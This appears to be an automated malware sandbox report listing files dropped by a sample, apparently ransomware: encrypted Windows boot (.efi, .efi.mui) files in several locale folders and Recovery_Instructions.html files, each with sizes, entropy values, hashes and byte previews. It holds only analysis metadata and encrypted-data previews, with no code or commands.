SHA1:	BCA50266035E5FCEF2EAE30DF3D0E36D42B8FE4A
SHA-256:	99F7B687A61332579C8F8A241960DBA0283D947118BD3AD316C1EBB40ACCA59B
SHA-512:	64514B809E603C48A48EEABB557DAEE4BAA3AAB395A1816360B282C4CB87C103122C673426F390D194BE4EDB0D99D6A8B81A640AB517E2EDE755BFD164FF6520
Malicious:	true
Preview:	...I}.1!.L....>l?.%...0.h8m.3....S.)..t@Ys..w.L.K$.O....>.mj..z.........f.3.^..%&.1FIU.j...u..Zz.......wt=v...lN...?.Km.;....qlk...TG...WJHS.._u...T...]e..H?7. .?..7..'sjs..N.'.....w..U....?..^.t.....I.n.}.%.E.q.K.S..hw..........7..yf.~K?l./.U]..:9..U....`.;..sf....)i.).W6.oT`.}j..Jzl.-<.!2.<.r..x^Lgb.f.....\|'.....q.L.`2d.".p-.....= ).FE.A...S.Q^..T...I.>..~2W!....._...g.'L..M..$..kA.O@....E..tU`....%..>.4pc.}7uZ.W...jW9.8..i.}KX...1(.4d.....//\|.s.4..X.......Q..vp..`.K@...X-P.-...G)...v.....-...QiA[..R..K.N.uV..$....&..)..wI.Q+a.IcW...dN...Lh.F.....`\O..W...`.........9u.[..t........+o.!..e?H..d..Dn2$6....}...+Z..d.20U..3....K...K..../:..4C.i....6.`...b.....&.J.:....`...v....E/..7w...q...:.......te...,.@Cs..2+.2...n......K.z...%......>.s.J`......W..K.......#-...(...I.vj.vM.....hHG'.2".....T.."....._Z....."/....C,w..........K.......L\+.>K....U"Y.R.xEMGD..}.2.._3.....:v.j...V+...U,UHD...n.<....sfq....I.. ...Jx.9...9i.\|..x..v

C:\EFI\Microsoft\Boot\ko-KR\Recovery_Instructions.html Download File
Process:	C:\Users\user\Desktop\f6ifQ0POml.exe
File Type:	HTML document, ASCII text, with very long lines
Category:	dropped
Size (bytes):	14667
Entropy (8bit):	5.515899243796794
Encrypted:	false
SSDEEP:	192:8OAl0z8DjaH4af2mwDHORnKMZJM4OAl0z8DjaH4af2mwDHORnKMZJM4OAl0z8Djz:kFD8LNw6QO9FD8LNw6QO9FD8LNw6QOo
MD5:	E907E2E8796F72E450EEAA65932B78E3
SHA1:	CF51CE381DF34353DF4276426DE9A05E2184746B
SHA-256:	33ED124498A534195FDAFAF4927CD942AA9FAB8DDE2E49F0218DBB5DF52CDD13
SHA-512:	9B0580E100BB69CD50D4B1DF5DB67E15E6ECB6869BAFE1E629C7EF98F0EE6FF1C43A806DE0FF12E9E38D75601502B6F7E3C09E4CD8F2BAC76F02D12FE548671D
Malicious:	false
Preview:	<html>. <style type="text/css">.. body {. background-color: #f5f5f5;. }..h1, h3{. text-align: center;. text-transform: uppercase;. font-weight: normal;.}.../---/..tabs1{. display: block;. margin: auto;.}..tabs1 .head{. text-align: center;. float: top;. padding: 0px;. text-transform: uppercase;. font-weight: normal;. display: block;. background: #81bef7;. color: #DF0101;. font-size: 30px;.}...tabs1 .identi {. font-size: 10px;. text-align: center;. float: top;. padding: 15px;. display: block;. background: #81bef7;. color: #DFDFDF;.}....tabs .content {. background: #f5f5f5;. /text-align: center;/. color: #000000;. padding: 25px 15px;. font-size: 15px;. font-weight: 400;. line-height: 20px; }. .tabs .content a {. color: #df0130;. font-size: 23px;. font-style: italic;. text-decoration: none;. line-height: 35px; }....tabs .content .text{.padding: 25px;.line-height: 1.2;.}... </style>...

C:\EFI\Microsoft\Boot\ko-KR\bootmgfw.efi.mui Download File
Process:	C:\Users\user\Desktop\f6ifQ0POml.exe
File Type:	data
Category:	dropped
Size (bytes):	74264
Entropy (8bit):	7.997352562241194
Encrypted:	true
SSDEEP:	1536:psRqkqq34cNOy8Jd8NshyLSEU1jNYsEMsYrljpOoKRHs:Zrq34cAiNrUxVVp6s
MD5:	C1D06A911AD8B756385418AD1C63B948
SHA1:	C1BBADA5C84E4A0F98694A26E4C27F56BAAB843E
SHA-256:	1EA6A00343FBFDD8027130A044F892BD8C93C9017EEEF64E61090C44EB9C97A2
SHA-512:	7984BB145FA9EBF507BD13421A75ADF94CE0A6FE26F3F42C5FE0728BF60691594639F7B67D317BBB416472EACD98CA864A11DAD6A94B56EC0E4DEEA2DA7D13A8
Malicious:	true
Preview:	...I}.1!.L....>l?.%...0.h8m.3....S.)..t@Ys..w.L.K$.O....>.mj..z.........f.3.^..%&.1FIU.j...u..Zz.......wt=v...lN...?.Km.;....qlk...TG...WJHS.._u...T...]e..H?7. .?..7..'sjs..N.'.....w..U....?..^.t.....I.n.}.%u.j.w&.%....2.Lu......pkGA.C.....XLj.-...>(..(..hZ...F..nR...^..q......."...J.\|...z...G...)@.,6s`.. ....s.z.rh...t.I:.~X!....%....\|a......U...f..?..\|.T..."0.....+4.o.....).....Y%...[._?......aU...I....b.y.2u.3......A..E$.e..JP=J2.n.o }...^..;z.W..s9.W...F..+.BRy~........6....1G.....o..Q.L>..e.....G.A7...3...x...&1.X.......{.lV.D,...<\.;.=.hx.nE.........5..A......?.....+.t9;>.9...:.K.0..#P........LN.#";S...XGW....L...8....R...*.._.}.i0)..n%.&...n./Ztx..S.Q.o.........s.....59W.H.q....Ml.<.3......}.E7.].X9...P.XP3....o..m.b......Z......)/v,.\...-..N.i.c........A...gB.S...C..!..5(...^...E.=U...;......'..T.o...X7=a.l.lP.3...?j.~5..n0Y...b6n.......n@...m...g.bp.;..J.$...<....`.K...W.Y.-...6..F.~..\"kL..8.A.6%.i...~+^+...%....(.\.

C:\EFI\Microsoft\Boot\ko-KR\bootmgr.efi.mui Download File
Process:	C:\Users\user\Desktop\f6ifQ0POml.exe
File Type:	data
Category:	dropped
Size (bytes):	74264
Entropy (8bit):	7.997435429774626
Encrypted:	true
SSDEEP:	1536:qEncAHCiLueEMDZhdGqsy+vAetSreC8JBoM:jPHjSeLDZbX+4etSrUJBoM
MD5:	8A2E93411C7DDE8158E381D302EB0AA2
SHA1:	BC7EFCBBE81715AEC41A6727BAFEBDE44A11DB66
SHA-256:	DE3906B439C350FB786AF6F8F82089491F298D2EB53D23660EEC62118703B874
SHA-512:	E0FA456A2CFFC83617756B353446E010F433CE9D4306CDEA6E2A4307F3356CF738EA00A244AB6628C71BF0017CE2E424E9747E1039F4262FC669BE7DCBE61619
Malicious:	true
Preview:	...I}.1!.L....>l?.%...0.h8m.3....S.)..t@Ys..w.L.K$.O....>.mj..z.........f.3.^..%&.1FIU.j...u..Zz.......wt=v...lN...?.Km.;....qlk...TG...WJHS.._u...T...]e..H?7. .?..7..'sjs..N.'.....w..U....?..^.t.....I.n.}.%u.j.w&.%....2.Lu......pkGA.C.....XLj.-...>(..2..].Y.O:....B..V.f.3tB"..h.l%..c:w..'.....c..0.L..#7...s..%....T5._..)R..............]L.....F#.q7pb..c.Q.n.VC........(b..........M.....~..l.S..O...W.c.0......T.7........,...}..2.`S..C"./U..9.)...{.n.Z..F;$...H........rh.;.7..{>.pj..2..7e.....#._.,\h....]a+[BW...J.."r........l.Mf...9.Gc%../e+..>.o......b../....hy.......[3...H..,..J...p...L..gj......~.....a@".gv.?..Tw.Oo....m.Ul.:....k..]>t..;.3.:..Ye./..;..=....O.A..d_.\|3.....+.,.;.;....J1.%g...q....0..Z.s...v...dF.G.z=...t.@...=.}...:....M..~uW..LN-.....P.2...*...z.S#..R@.=l..}.../.o.j1j\|.=l..Mf.oP.k-l&..s.e......EV.....2^.8!....tf7..I.........[...z....W.f..D.K.........(..A...Y.?_.rK[....y.E...Z.oC..4......R.\|...(-..g.v$~uA..447.

C:\EFI\Microsoft\Boot\ko-KR\memtest.efi.mui Download File
Process:	C:\Users\user\Desktop\f6ifQ0POml.exe
File Type:	data
Category:	dropped
Size (bytes):	49688
Entropy (8bit):	7.995739810740539
Encrypted:	true
SSDEEP:	768:ZPWWE2cO+JjFIunAvj8te3Jnz5o41DV9AZjok0+tgEwunzSenjz6ohnj/QGyBcOf:gWQJjXAvj8MJz5okrxh+fe0jb/O3f
MD5:	6BAF6151D5BA8A0FDC15ADCBA1E2DCA3
SHA1:	CC51791EBD15770846A82845FC69C4EF38FBE8C7
SHA-256:	E3C0DE6F3A61BCF7FEFC319B10CC172FE6435684E82BABFBDAEB257ED2789F1D
SHA-512:	655E105180622290F6ED250750237C8ADBBB91336AAFBCF6ED044D221774542603F24F6D6F230232CC69D2A56D1E2591D7554AE215E13CDFB5678AF17403C942
Malicious:	true
Preview:	...I}.1!.L....>l?.%...0.h8m.3....S.)..t@Ys..w.L.K$.O....>.mj..z.........f.3.^..%&.1FIU.j...u..Zz.......wt=v...lN...?.Km.;....qlk...TG...WJHS.._u...T...]e..H?7. .?..7..'sjs..N.'.....w..U....?..^.t.....I.n.}.%.E.q.K.S..hw..........7..yf.~K?l./.U]..:9..U.`..^.V....<...V..9F?).g2...L...\......3I"..,.....c....lMH..L......;.Zy._.g~&.s...dq.V..g.E...c.&+..+g.U....l.y....K.BxX..en.m...b...".........N..I"<.kj.)y_.y...D. [..Yu.....<p.......s.C..N...O..D...M.h...X....$.Z..5L.K,.^..uf..s.6]..d.s..g....a....+..j.7..,...#mV.[ayO.=&..@.......!.\|..^n-....:I>.ozF.\...-.{.c.6.pz.`..B...7<W.s...._.xK.. JS...........;..._4..j........,...5.y..K.+..J..'..[........A...g.x.......o..^3......V-..I.2hz..~....p..9w..M..w.......y....=..7...s...9.......\&?....=lW&h.'.... ..7.....Z..:.h.'.T!.."..gz....v...q...;.iu.Y.....F.....8k.N....Y.MB... ...~c....\8.lF.r..n.A%<.aU8O..k........b<yj....H;..nu....70EPy\2..t.U .^..}.7.k.o[4`..tfkF.J...Q.yw.C(.....y.J.Z.

C:\EFI\Microsoft\Boot\lt-LT\Recovery_Instructions.html Download File
Process:	C:\Users\user\Desktop\f6ifQ0POml.exe
File Type:	HTML document, ASCII text, with very long lines
Category:	dropped
Size (bytes):	9778
Entropy (8bit):	5.515899243796794
Encrypted:	false
SSDEEP:	192:8OAl0z8DjaH4af2mwDHORnKMZJM4OAl0z8DjaH4af2mwDHORnKMZJM7:kFD8LNw6QO9FD8LNw6QOo
MD5:	B8C51A0AA875AAA944F10179088D8EA7
SHA1:	6C9E099B9102048012B50235AEDC1069ECDC2351
SHA-256:	183E26B8028F4AAC29F174234FAF7AED7FBAF0D14A30C246B3117579E4E8E254
SHA-512:	72A826E2808782237FCDB049D73A91FDE875E0F77BD34CDD633ABE261F7453BE3D9EC3811770755767EBDCA151640FD673769D70859AF4A75211817822F48561
Malicious:	false
Preview:	<html>. <style type="text/css">.. body {. background-color: #f5f5f5;. }..h1, h3{. text-align: center;. text-transform: uppercase;. font-weight: normal;.}.../---/..tabs1{. display: block;. margin: auto;.}..tabs1 .head{. text-align: center;. float: top;. padding: 0px;. text-transform: uppercase;. font-weight: normal;. display: block;. background: #81bef7;. color: #DF0101;. font-size: 30px;.}...tabs1 .identi {. font-size: 10px;. text-align: center;. float: top;. padding: 15px;. display: block;. background: #81bef7;. color: #DFDFDF;.}....tabs .content {. background: #f5f5f5;. /text-align: center;/. color: #000000;. padding: 25px 15px;. font-size: 15px;. font-weight: 400;. line-height: 20px; }. .tabs .content a {. color: #df0130;. font-size: 23px;. font-style: italic;. text-decoration: none;. line-height: 35px; }....tabs .content .text{.padding: 25px;.line-height: 1.2;.}... </style>...

C:\EFI\Microsoft\Boot\lt-LT\bootmgfw.efi.mui Download File
Process:	C:\Users\user\Desktop\f6ifQ0POml.exe
File Type:	data
Category:	dropped
Size (bytes):	82456
Entropy (8bit):	7.997814203846458
Encrypted:	true
SSDEEP:	1536:+cJbXghS2B4hcLSiDBeQt4V9w2Oi4ssSqXXM+hWgsX3G9ChR:LJUh/+gXL4vgZvhWRXW9W
MD5:	80152AE3D90C322BE77744B8849CC491
SHA1:	9FD648BAE901A7F3AEAA05417B2AED305590449B
SHA-256:	5C84591A3BE30A683EC6CD91C44082BB44FA6006978F2DFF80B167B9F93F4703
SHA-512:	7E095F03766649BDB3C5E659864916F68244C93033E7CF6146769EC694A5C692FE4AB0D5298833D158D543758A0C66DCC2B3575FAF75A10ABC6B9502995BDD95
Malicious:	true
Preview:	...I}.1!.L....>l?.%...0.h8m.3....S.)..t@Ys..w.L.K$.O....>.mj..z.........f.3.^..%&.1FIU.j...u..Zz.......wt=v...lN...?.Km.;....qlk...TG...WJHS.._u...T...]e..H?7. .?..7..'sjs..N.'.....w..U....?..^.t.....I.n.}.%.....2....W.....?QeX>.4.`%....N...h.l.e.n-.2.....uoI.``[p.)./..T~<.......c.4..2W....Mx.....]yb....9.h.......M.li)c.FB.....7.KpEN.\s.c..w........$..-.1.....^.~V..f'B......... .M._.Z.....?v....<.z.1...W$.8...Z...]....K#r%...Q...:.(&...F3Kkn..r...!....*6"...B.UR.?.......J...C..>.'V.e....GgD..`..+e.C8.15..7.9Bl.....AQ.po.I...>..1'...C.CT..\|.n6Sf.._>..W7%..V>4.t....{.....UK .S...s.r.W..._Q+.stfH....(........~j.....?..k;.._.a....I.z..a).5..j...>..).,t..._..;..0...F.e...7 BJ......$.'[...}..."...K.o.G..5..."...a.T... ...i...^.z`w...L....~R..,.j.....q.l.U.....l4.e.^\|R../..bmD4C.x..e#...d.Ynx.r@UV...2..Li.T.>.3..Y.....{JC.....]_...../^...g..).h.E...>.}WI....-k.u.2....+.x...4.D.3.....4..%..BD3.l8..scn.&.....R2..a..U..n./.$<..PZ.k.g`.}..i...=.

C:\EFI\Microsoft\Boot\lt-LT\bootmgr.efi.mui Download File
Process:	C:\Users\user\Desktop\f6ifQ0POml.exe
File Type:	data
Category:	dropped
Size (bytes):	82456
Entropy (8bit):	7.997620481894485
Encrypted:	true
SSDEEP:	1536:KBN5dG8cIT6oVc2LuS7hvbO4sCI3qbmbS+AJ3whacAw4f2XgvkGwM011p1F63:WdjBTrLDAhfqSRAKacAKj3pv63
MD5:	17849FE70CEDCAD54ACE65E2A6F1B27B
SHA1:	000D5B9E0218C38C67C6F120F12288D8C3E9C376
SHA-256:	7A9459F2938E542817A8E7E48687C5B0C9B0B02C732FCDBCC4E07A0C18507EB1
SHA-512:	D9CD925DB3CFDE3790D73B96D392B5588DDC97BB0D3F01576FBDF25450584F993487B3EBD3DC399906E9207F95113A19035C00E3A20C8179FA57E32BD967182C
Malicious:	true
Preview:	...I}.1!.L....>l?.%...0.h8m.3....S.)..t@Ys..w.L.K$.O....>.mj..z.........f.3.^..%&.1FIU.j...u..Zz.......wt=v...lN...?.Km.;....qlk...TG...WJHS.._u...T...]e..H?7. .?..7..'sjs..N.'.....w..U....?..^.t.....I.n.}.%.....2....W.....?QeX>.4.`%....N...h.l.e.n-.2.4~.'....F.......q........e......O.-.Waa;s..\.d.hh.8.h.m....v........."_....D.........~S+cP..........F.R&b.-.+f.........j.1.XC.....pl~.}l.T+.y.9t?.1.....<........uW.;-?.`....R.....p4...v.....?.l.2..(....1U.&s.#...Y...T~&o...b.^../.....(!I.knI3z.....j6.W.{D.{.....7.......Ydy.*..../V..XV#..~<..bF...M...-U.=3eA..#i....3...mV.=..N,>#P%......jn........$x....C.].%..h......;.....(yPR4} ..g'L_d...:..\...cV...Y.%e.WR....(..$j.'..@...R.J?....;..4...M..~.....S~}.PCIIl.O..}.=..........c`HV`4..}+zB.. .y..7....Z~.~....Z'..>..0s....../.b...RHV1A...P...Y....:..R..;..]k...3`....p..........J.V.F.y.X.o.D.....P.).T.j..n>r~........~5....Re.7`.&".u...I.........2%........ir..m.R.jS'\|>&f...y.k.W....6....(.U

C:\EFI\Microsoft\Boot\lv-LV\Recovery_Instructions.html Download File
Process:	C:\Users\user\Desktop\f6ifQ0POml.exe
File Type:	HTML document, ASCII text, with very long lines
Category:	dropped
Size (bytes):	9778
Entropy (8bit):	5.515899243796794
Encrypted:	false
SSDEEP:	192:8OAl0z8DjaH4af2mwDHORnKMZJM4OAl0z8DjaH4af2mwDHORnKMZJM7:kFD8LNw6QO9FD8LNw6QOo
MD5:	B8C51A0AA875AAA944F10179088D8EA7
SHA1:	6C9E099B9102048012B50235AEDC1069ECDC2351
SHA-256:	183E26B8028F4AAC29F174234FAF7AED7FBAF0D14A30C246B3117579E4E8E254
SHA-512:	72A826E2808782237FCDB049D73A91FDE875E0F77BD34CDD633ABE261F7453BE3D9EC3811770755767EBDCA151640FD673769D70859AF4A75211817822F48561
Malicious:	false
Preview:	<html>. <style type="text/css">.. body {. background-color: #f5f5f5;. }..h1, h3{. text-align: center;. text-transform: uppercase;. font-weight: normal;.}.../---/..tabs1{. display: block;. margin: auto;.}..tabs1 .head{. text-align: center;. float: top;. padding: 0px;. text-transform: uppercase;. font-weight: normal;. display: block;. background: #81bef7;. color: #DF0101;. font-size: 30px;.}...tabs1 .identi {. font-size: 10px;. text-align: center;. float: top;. padding: 15px;. display: block;. background: #81bef7;. color: #DFDFDF;.}....tabs .content {. background: #f5f5f5;. /text-align: center;/. color: #000000;. padding: 25px 15px;. font-size: 15px;. font-weight: 400;. line-height: 20px; }. .tabs .content a {. color: #df0130;. font-size: 23px;. font-style: italic;. text-decoration: none;. line-height: 35px; }....tabs .content .text{.padding: 25px;.line-height: 1.2;.}... </style>...

C:\EFI\Microsoft\Boot\lv-LV\bootmgfw.efi.mui Download File
Process:	C:\Users\user\Desktop\f6ifQ0POml.exe
File Type:	data
Category:	dropped
Size (bytes):	82456
Entropy (8bit):	7.997983669584332
Encrypted:	true
SSDEEP:	1536:AW4GHMH8lIbm8k7Nc12Y+iaXttAPUIN5TTTVcUpa/FJtU7sY:AiHMXnksAiNP7jGUpa9Jq7F
MD5:	0577809DE7A3561F53849E44E3B935ED
SHA1:	90C8F3F9C1677DC851F5C30DCDF33407C4BE79D5
SHA-256:	92473B5FF089552D3C0AA00F78666A0585218C36AD368F9BCE8DC8DAFBE62A26
SHA-512:	15FD2D1E0A781223F49DA5F4346F39C9D9DCA20D1546FD9E0A7AD0EFC6B6E44B3432D7719707C7C69FA6723EB4BA004E55D26498EFEB9A1F09CF522AB9CA5A0D
Malicious:	true
Preview:	...I}.1!.L....>l?.%...0.h8m.3....S.)..t@Ys..w.L.K$.O....>.mj..z.........f.3.^..%&.1FIU.j...u..Zz.......wt=v...lN...?.Km.;....qlk...TG...WJHS.._u...T...]e..H?7. .?..7..'sjs..N.'.....w..U....?..^.t.....I.n.}.%.....2....W.....?QeX>.4.`%....N...h.l.e.n-.2.B){l..K.^.........w).H..j(S......4..S....5.....0.......[...1..^.41O.."p...!.:Y.....`.`.O.\.t... .7.....Z.M...<.2..9qC.a..U...p9:M.c...:C.T).j......[.[..si4".z..Ql#..r.R..q.9.1......D.JC.....Z..O<5..#.....=....W.....$......L.b.$... ..(~."e.,....?....T..l.....).R..S"p.....X>9...f.\Y`......vC Y......dn.r..K....\|.;y..2z.u._:.3.i.D....m(..l^...3... BJq..(rD...._.s._.#..C..Ao.....>..]L.%8.C......u..g).`.d.......i...."0.kR`.t......NP.Y.........B.....-.&.u...NRuv#'....[..P..+Qg...6.D.7.#.z.j........,... ."k...A.h...:aB#...'h..w?1.m$....A8.'..$0.\|..z7ym$K.a..Vl.^.........%...3Ll..Qad........:....w..O.A.`s.2..1.2K...B.BE.!W.H>Lj}.\..W...tk..4..08.x.9.UJ..H..E.._..w.....T.k.....5(..

C:\EFI\Microsoft\Boot\lv-LV\bootmgr.efi.mui Download File
Process:	C:\Users\user\Desktop\f6ifQ0POml.exe
File Type:	data
Category:	dropped
Size (bytes):	82456
Entropy (8bit):	7.997648053712954
Encrypted:	true
SSDEEP:	1536:jRUA3AAgmz8TkQkLN9oOlT60qQEmtwF9YAQ5zSAnXjKmGEArn5PXxfQMyuDo:tb3AAgmoTk59ocT8xmafjEXG5PXxIqDo
MD5:	F350AA5B2F89DC71F98FE13364138633
SHA1:	A012714F650C0FDCA14F31746265048BEDD2BCAC
SHA-256:	E196BD2D285460691526966BFCCA3E3BBB3EF191C8B885C29F91BEA4A19549F7
SHA-512:	1AE9505F4EBDC41F04158F15706B4F27649CA9A2B1C5AED34E1749DF6DB341BE6C13EA9267A8F0E3A07846CEAD98FB1037ED10474AC2B5E5F0E15C7CF2C3F2C7
Malicious:	true
Preview:	...I}.1!.L....>l?.%...0.h8m.3....S.)..t@Ys..w.L.K$.O....>.mj..z.........f.3.^..%&.1FIU.j...u..Zz.......wt=v...lN...?.Km.;....qlk...TG...WJHS.._u...T...]e..H?7. .?..7..'sjs..N.'.....w..U....?..^.t.....I.n.}.%.....2....W.....?QeX>.4.`%....N...h.l.e.n-.2.r$c.r)!.b.M..L...V.V....=...!.l.....yr.Kk.\........GU20[......K..b..4}..SG.H.....va.......I6@.K.O..d...]T.1.oq.Q3Q.@..>!.^%z..=R`._..."@wy...f.1.u...T..m.#.L..^si. J3.qp..........:.J.Kwn.og@....O.....7.}.Cq..#...9..O...%.ut..I..]..u..9T..Z....wz.d..C..sf.TP..>W.L..N#.._'e.bV>3.......,..&......W2............V.}..@.>..d`.-..jdC...k.{q..._.qDma..$K8...o...m!..._.8........B.....m.<..Q.$CPt.&..t............&f>.<h.;.R.>FL..}...P.^.D.8>$.......;......2YUs....G......i$Mr..hk.....g.\....t.......3.6."..a./n...V..n.(.%d.....h..m.P.Y...z....(...s.W.fG.GZ...L."X%.jM....w.l,....w.*...;....D0?.D.k.S.?_...K.k.\\|.....".c..M..K..g....b=...I.B...............f"44..2..;....u..o.....Z..P...r....i.=

C:\EFI\Microsoft\Boot\memtest.efi Download File
Process:	C:\Users\user\Desktop\f6ifQ0POml.exe
File Type:	data
Category:	dropped
Size (bytes):	1106456
Entropy (8bit):	7.999814105402384
Encrypted:	true
SSDEEP:	24576:vu7N/ba0C4+/57350ZmEamOLy8ofl3+gGWmBlHQWrmnkS:v4ojl3wmEA1ofl3xGWylHQWrmnkS
MD5:	CFA66474F27F861915537C11610E2C5F
SHA1:	253531FC0E8456768659FC5D58EE4A80C8CBBDCF
SHA-256:	0B48DCC2A79A4794C28BA4CE6F55A20D98C4466774E2C4DEC96ECA2276701315
SHA-512:	784475E11AE5D2FE059199A9586C7E3CC90A85870B9EF173A9039D7D26F92FB01FCD6F59835F65C4D624D67FEA777CBBB019A093B7CD44E4F3A2877E956406E2
Malicious:	true
Preview:	...I}.1!.L....>l?.%...0.h8m.3....S.)..t@Ys..w..V.S....h1....di.w.M$l...=.1I..$.).Z.....FR..P......oV).._....(.....y...E.44+...b<...G4..............>,..g...8."..j./.FEy].3........$g..QD...T_;...b&o.],.3..p${.o.MbP..;K]q..O..Upe._&VUn.L..(.6L..O....<..@..\...K..h.........r..e...Z....".......Mw....rX..v/..1'..p3....#...[w.."....}...8..=.`...<s.azbm.?.....+.5...8.%..ic.S^..0nE"....?G......? .......en..w......\.....&..........h.._i.k.F.gmQ!.. i...5...[.dmd..o..P...m.[.'.....v.G..Y...i...D%p...3..6.o..!`..m~...S.4..>Y.Y.w<.....:...4..{......k....I.\|.o.O....\wCJ8{C.F...33......%.n.9!...ph.....6....Of.p.s...Y...3i.).E"[vO.$....Yo..V!........=..O..`.OY....K.k..t.......j....[.,.....esE.>-.Kt...^.....D..s..z..... .Uf..?.....b'..L....\|..$&B...&....Q.....x.F...uC..rc.2..U(.].....g..g..6...~<..%.k.H`B..cU....W._...Uf..-..A{...../..E.Gv5.dj.XK.Y..>..q.%...;SI..Gh.&lQ...'.z..m....e....gK9.:......B.......iiY....0..[.{...lf....._+>....A\|..a%.....Q.....v

C:\EFI\Microsoft\Boot\nb-NO\Recovery_Instructions.html Download File
Process:	C:\Users\user\Desktop\f6ifQ0POml.exe
File Type:	HTML document, ASCII text, with very long lines
Category:	dropped
Size (bytes):	14667
Entropy (8bit):	5.515899243796794
Encrypted:	false
SSDEEP:	192:8OAl0z8DjaH4af2mwDHORnKMZJM4OAl0z8DjaH4af2mwDHORnKMZJM4OAl0z8Djz:kFD8LNw6QO9FD8LNw6QO9FD8LNw6QOo
MD5:	E907E2E8796F72E450EEAA65932B78E3
SHA1:	CF51CE381DF34353DF4276426DE9A05E2184746B
SHA-256:	33ED124498A534195FDAFAF4927CD942AA9FAB8DDE2E49F0218DBB5DF52CDD13
SHA-512:	9B0580E100BB69CD50D4B1DF5DB67E15E6ECB6869BAFE1E629C7EF98F0EE6FF1C43A806DE0FF12E9E38D75601502B6F7E3C09E4CD8F2BAC76F02D12FE548671D
Malicious:	false
Preview:	<html>. <style type="text/css">.. body {. background-color: #f5f5f5;. }..h1, h3{. text-align: center;. text-transform: uppercase;. font-weight: normal;.}.../---/..tabs1{. display: block;. margin: auto;.}..tabs1 .head{. text-align: center;. float: top;. padding: 0px;. text-transform: uppercase;. font-weight: normal;. display: block;. background: #81bef7;. color: #DF0101;. font-size: 30px;.}...tabs1 .identi {. font-size: 10px;. text-align: center;. float: top;. padding: 15px;. display: block;. background: #81bef7;. color: #DFDFDF;.}....tabs .content {. background: #f5f5f5;. /text-align: center;/. color: #000000;. padding: 25px 15px;. font-size: 15px;. font-weight: 400;. line-height: 20px; }. .tabs .content a {. color: #df0130;. font-size: 23px;. font-style: italic;. text-decoration: none;. line-height: 35px; }....tabs .content .text{.padding: 25px;.line-height: 1.2;.}... </style>...

C:\EFI\Microsoft\Boot\nb-NO\bootmgfw.efi.mui Download File
Process:	C:\Users\user\Desktop\f6ifQ0POml.exe
File Type:	data
Category:	dropped
Size (bytes):	82456
Entropy (8bit):	7.99772549826723
Encrypted:	true
SSDEEP:	1536:b9EbEMmytg1iQNuzpREb3IsU1xH0lPXwS7DMoncG7BR1XzxH3umj:nMrgFU/wxgSPMonD1fXZu0
MD5:	2538919B308D6B42EAA96286A7777242
SHA1:	6417F80EC6E322FAEDEA5F9F6F3D7E43B171501B
SHA-256:	DB6D0B1D0E3FF422682CC6341F041FC2C25F76391F2957D3FBE4C4915AD6BB97
SHA-512:	52F13D5EFBAD6F3FAE95002729E9585A6EF40C837B4CC3D5113AC29622BE2B4712C24567A3232622ADF16F9571F5874F9D5C950F6F2B1E6FEC641B8AF8B4E3BA
Malicious:	true
Preview:	...I}.1!.L....>l?.%...0.h8m.3....S.)..t@Ys..w.L.K$.O....>.mj..z.........f.3.^..%&.1FIU.j...u..Zz.......wt=v...lN...?.Km.;....qlk...TG...WJHS.._u...T...]e..H?7. .?..7..'sjs..N.'.....w..U....?..^.t.....I.n.}.%.....2....W.....?QeX>.4.`%....N...h.l.e.n-.2.R.'Qc..#..[V.Y...G..$u.$..=.Nv_.-q..bp..>\|..K.VL..B\/.....h~RRh.."7v.5c...._2..'....4.Qb.....WQ.N..-.].H.........t.!..Kva.W....:~...;h(.....A.;...:.]7./3....^S........Z...,Y.N..!.5@...K....h...>}...6.T.5b..?.R/Z........W..t{0........B........6.FQ....n.oy.a.R.M_..!....?.....r..H...xs.f.W...PL.......$/]....tK.....HR..A+.L.E.\...F..<W.9.;..~.h_..@.....a...m..]....$.3/K...n.M..k..0G.:.H...Bl%..RV.p.b=>/.j..&.....r..,....S.CL..:...3>8..... K.k..a.} .>....".G.4S.!\r...p_t........k..:FM....<......h@.....?"3U)..'....a.B....Il.@..Y..D..`.<.e..._.f...C'M.]...m...'...9OP.;...........tN...S..E.J+..5.....}G.C.=`.*...1.@S..%.x.6..t.r.=..+.....a1L/.lRF.sG"....y.y...r.uVC....Z..OquW.r&<.$..(........2g

C:\EFI\Microsoft\Boot\nb-NO\bootmgr.efi.mui Download File
Process:	C:\Users\user\Desktop\f6ifQ0POml.exe
File Type:	data
Category:	dropped
Size (bytes):	82456
Entropy (8bit):	7.9976550561530635
Encrypted:	true
SSDEEP:	1536:fw4Sl0SZVHakI34xh45W1ANAKewQdRCqJNlcY/pmkIoOg+lNx7KKsa:48kVo34s5cANAnXtNlJp9Og+lH7Z
MD5:	56360C596AD9178738DA3DAAE1573639
SHA1:	38A88BDC82EEB7B0B4E8FF4C1DEEDF0CDE54C683
SHA-256:	B58A7B75F219900EB0204CC76571C0840A21299EBC3B774FAA04766F4DF81CAD
SHA-512:	BA5D3C2A0C48D621601E636F401EC077EBB2DED3E34A3B7C86D8451A176CE97D3DEF0308D48233C3AB5C82FEF15FE253693D78CA11BC283335917A0D267C4A43
Malicious:	true
Preview:	...I}.1!.L....>l?.%...0.h8m.3....S.)..t@Ys..w.L.K$.O....>.mj..z.........f.3.^..%&.1FIU.j...u..Zz.......wt=v...lN...?.Km.;....qlk...TG...WJHS.._u...T...]e..H?7. .?..7..'sjs..N.'.....w..U....?..^.t.....I.n.}.%.....2....W.....?QeX>.4.`%....N...h.l.e.n-.2..4.<...~2pW...i......U..B.eF..Z5.o.5`.>._.............b.0!.x.y..........I.@.y..%.3>}...z......F6=9......`....J5Z.[.c.2.`.."3....8.....r..L......4...'..]?uB==>.!..^/..EH.w.}..v....................:....\|.......A.Y..9..'z..Fx.....A.sn\5s.:gl. .F`Aj....m..u....!........n....B..S?L2.?.Q......0..a..:.6F...".6c.-F...p.M..ep..9.q.W\..z...fH..W.5.l.V...h....\|,:m6..@...n...VJ.~a+..$(.(.:.H...U..c.....\|.r.......G...6%%.)N"..d..._....m~.[....H.......B...Ri-..P..4..J...r"..(...aYp..:m.r....C....Zl.F.5U..Ck2......E.....^a'..n2...d.$M'q....G.bK.ye.Lax8..GK...p.Od^$.h.T...~.....\u.(b.&.IR(..i#.h....hu~..h..`.................xt.t<n.5....T.Ua.s..[.!..'...K....vP..Q.c.....t.<m;....W.N8G...V)#.."......

C:\EFI\Microsoft\Boot\nb-NO\memtest.efi.mui Download File
Process:	C:\Users\user\Desktop\f6ifQ0POml.exe
File Type:	data
Category:	dropped
Size (bytes):	49688
Entropy (8bit):	7.996284438153445
Encrypted:	true
SSDEEP:	1536:sH8Ef9i/iDXI8JWLopHyNI/z8KW1miJa/fVTt:sH7f9i/iDXhdLW1baHr
MD5:	05F5BF2B721482DA733E2C3DCA227115
